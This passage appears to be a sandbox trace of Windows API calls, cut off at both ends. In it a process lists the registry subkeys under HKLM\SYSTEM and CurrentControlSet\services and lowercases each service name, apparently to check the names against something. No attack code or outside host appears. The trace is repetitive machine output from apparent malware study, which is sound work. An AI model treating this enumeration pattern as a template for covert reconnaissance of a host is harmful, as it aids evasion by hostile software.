cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.216] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.216] RegCloseKey (hKey=0x80000002) returned 0x0 [0239.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0239.216] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.216] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.217] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.217] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.217] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0239.217] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0239.218] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.218] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0239.218] RegCloseKey (hKey=0x150) returned 0x0 [0239.218] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.219] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.219] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.219] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.219] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0239.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.220] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.220] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0239.220] RegCloseKey (hKey=0x14c) returned 0x0 [0239.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1e38, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0239.220] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.220] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1928, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1e38, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1928, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.221] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.221] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.221] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0239.221] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1e38, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", 